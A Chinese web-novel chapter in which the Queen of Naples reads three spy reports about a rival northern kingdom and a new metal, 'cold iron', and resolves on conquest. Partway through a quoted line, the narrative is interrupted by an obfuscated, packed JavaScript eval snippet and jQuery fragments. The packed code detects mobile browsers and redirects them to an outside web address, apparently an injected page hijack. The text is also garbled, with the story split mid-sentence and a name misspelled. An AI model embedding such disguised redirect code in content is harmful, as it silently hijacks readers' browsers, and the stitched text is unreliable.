大清洗结束后的第三年，那不勒斯迎来了一个无比漫长的、死寂般的凛冬。
血腥味似乎早已从王宫的石缝中彻底洗去，取而代之的，是一种绝对的、令人窒息的宁静。曾经喧嚣的街道变得空旷而整洁，没有一片多余的落叶；曾经嘈杂的市场变得秩序井然，没有一句高声的争吵。在女王鞠婧祎那如同神谕般冰冷的意志下，整个王国变成了一座运转精准、却毫无生气的巨大钟表，每一分，每一秒，都行走在被预设好的、永不偏离的轨道上。
这是一个完美的、永不犯错的王国。
也是一座巨大、美丽，却冰冷彻骨的活体陵墓。
而这座陵墓唯一的守墓人，那不勒斯至高无上的女王——鞠婧祎，此刻正独自坐在她那张用无数背叛与死亡浇筑而成的玄铁王座上。
王座大厅空旷得能听见自己心跳的回声，巨大的落地窗外，是那不勒斯万家灯火的缩影，温暖而遥远，仿佛另一个世界。殿内只燃着一豆烛火，光线无力地舔舐着王座的边缘，却无法驱散那笼罩着整个大厅的、浓稠得如同实质的黑暗。
女王的姿态慵懒而优雅。她单手支着下颌，苍白的手指无意识地敲击着扶手上冰冷的黑曜石雕花，发出极轻的、规律的“嗒、嗒”声。这是这片绝对寂静中，唯一的声音。
她的眼神，比窗外的冬夜更冷，更空洞。那是一种在拥有一切之后，所产生的、深入骨髓的厌倦。
她赢了。
她赢得了这场以整个那不勒斯旧秩序为赌注的豪赌。所有觊觎王位的野心家、所有愚忠于旧王的守护者、所有知晓她秘密的工具，都已化为历史的尘埃。
然后呢？
然后，便是这无边无际的、永恒的寂静。
她像一个解开了世界上最复杂谜题的智者，在享受了片刻的满足后，便陷入了更深沉的空虚。当棋盘上所有的对手都已被清除，当游戏的所有规则都由自己制定时，游戏本身，也就失去了意义。
鞠婧Ting觉得有些冷。
就在这时，一个近乎与阴影融为一体的身影，如同鬼魅般，悄无声息地出现在王座大厅的入口。
来人穿着一身最朴素的灰色女官长裙，身形瘦削，面容平静得仿佛一潭古井。她没有发出任何脚步声，只是在距离王座十步之遥的地方停下，然后缓缓跪倒，将手中的三份用黑蜡封口的密报，高高举过头顶。
是内务府总管，徐言雨。
这个王宫里，唯一知道女王所有秘密，却又仿佛没有任何自己思想的影子。
女王没有看她，只是依旧用指尖敲击着扶手，声音慵懒得像一只刚刚睡醒的猫：“念。”
“遵命，我的陛下。”
徐言雨的声音同样平淡无波，如同在背诵一本枯燥的法典。她撕开了第一份密报的封口。
“密报一，来自【黑曜石卫队】渗透司。北方异国，王都‘冰临城’。数名在大清洗中逃亡的那不勒斯旧贵族残余，于昨日参加了北方国王孙芮的宫廷冬日宴。席间，他们声泪俱下地控诉陛下的‘篡位暴行’，并献上家族最后的财富，试图游说北方出兵，‘光复那不勒斯正统’。国王孙芮当众接受了他们的‘效忠’，并表示，‘荣耀的骑士，绝不会对暴行坐视不理’。”
女王的指尖停了一下，嘴角勾起一抹冰冷的讥讽。
一群只会摇尾乞怜的丧家之犬，居然还妄想着借另一头狮子的爪牙来复仇。可悲。他们难道还不明白，荣耀与正统，不过是强者用来粉饰自己獠牙的餐巾吗？
“下一份。”女王的声音里透着一丝不耐。
“遵命。”徐言雨撕开了第二份密报。
“密报二，来自【黄金天秤】。根据我们遍布大陆的贸易网络监控，北方异国正与其周边的数个小国进行频繁的贸易往来，似乎在构建一个以他们为核心的、排斥那不勒斯的北方经济同盟。同时，‘黄金天秤’发现，北方正在通过各种隐秘渠道，不计成本地囤积两样战略物资：战马，以及用于打造武器和盔甲的优质木材与铁矿。”
女王的眼中闪过一丝轻蔑。
经济同盟？多么幼稚可笑的字眼。在刘增艳那张足以吞噬一切的黄金巨网面前，这种由几个穷困小国组成的、脆弱的利益联盟，就像一群在寒风中瑟瑟发抖、试图抱团取暖的土拨鼠。只要她的“黄金天秤”愿意，只需要一个冬天，就能让他们的粮仓颗粒无收，让他们的国库形同废纸。
“无趣的挣扎。”女王低声评价了一句，“最后一份。”
“是，陛下。”徐言雨撕开了最后一份，也是最厚的一份密报。
“密报三，来自【禁忌工坊】。首席学者何晓玉大人呈报，她们在对一块由【黑曜石卫队】从北方走私来的、编号‘霜噬-07’的矿石进行分析后，得出了惊人结论。”
徐言雨的声音顿了一下，似乎连她这台没有感情的机器，也为这份报告的内容而感到了一丝波动。
“报告指出，在北方那极寒的永冻层之下，蕴藏着一种全新的稀有矿物，何晓玉大人将其命名为——‘寒铁’。这种矿石在经过‘禁忌工坊’的初步冶炼后，所制成的合金，其坚韧程度远超现有的任何金属，重量却只有普通钢铁的三分之二。如果能将其用于铸造盔甲与武器，将对现有的军事平衡，产生颠覆性的影响。何晓玉大人在报告的最后写道：‘陛下，这
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17424053|200850||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不是矿石，这是未来。’”
“未来？”
女王终于坐直了身体。她那双如同死寂星辰的眼眸中，第一次，闪过一丝真正的、名为“兴趣”的光芒。
丧家之犬的哀嚎，土拨鼠的抱团，这些都只是过去与现在的、无聊的杂音。但这个名为“寒铁”的东西，却是指向未来的、一个全新的变量。
一个……不在她棋盘上的变量。
她缓缓地从王座上起身，赤着脚，走下冰冷的台阶。长长的黑色裙摆拖曳在地，如同暗夜的潮水。
她走到徐言雨面前，亲自从她手中取过那份关于“寒铁”的报告，凑到烛火前，仔细地阅读着上面那些由何晓玉用癫狂而兴奋的笔触写下的、关于熔炼温度、晶体结构和力学性能的复杂数据。
她越看，眼中的光芒就越亮。
她终于明白，北方异国对她而言，不再仅仅是一个庇护了旧贵族残余、试图搞经济封锁的地缘威胁。
它更是一种“意识形态”上的威胁。
那个充满了原始力量、崇尚个人勇武、被混乱与野蛮所统治的国度，如同一块未经雕琢的、布满了丑陋裂痕的顽石。它的存在本身，就是对她手中这件“完美无瑕”的、由绝对秩序与寂静构筑的艺术品的嘲讽与玷污。
一个完美的世界，不应有墙外的杂音。
一个永恒的帝国，更不应有无法被掌控的“变量”。
而现在，这个最大的“变量”，不仅拥有着与她截然不同的“灵魂”，更掌握着足以改变“未来”的钥匙。
这盘早已被她解构得索然无味的棋局，终于，出现了一点新的、有趣的、值得她亲自下场去抹除的变化。
女王脸上的厌倦一扫而空，取而代之的，是一种猎人发现罕见猎物时的、冰冷的兴奋。
她走到殿中央的巨大壁炉前，将手中的三份密报，连同她内心的最后一丝空虚，一同投入了熊熊燃烧的火焰之中。
纸张在火焰中卷曲、焦黑，化为飞灰。
女王看着那跳动的火光，仿佛已经看到了北方那冰封的王都，在另一场更盛大的火焰中燃烧的景象。
她缓缓转身，对着那片空无一人的黑暗，用一种近乎于自言自语、却又充满了不容置疑的威严的语气，轻声说道：
“徐言雨。”
“是时候，为我那寂静的王国，寻找几位新朋友了。”
“一个，要拥有最灵巧的舌头，能将谎言编织成真理。”
“另一个，”女王的嘴角，勾起一抹残忍的弧度，“要拥有最锋利的爪牙，能将荣耀撕扯成碎片。”
“传我的命令。游戏……开始了。”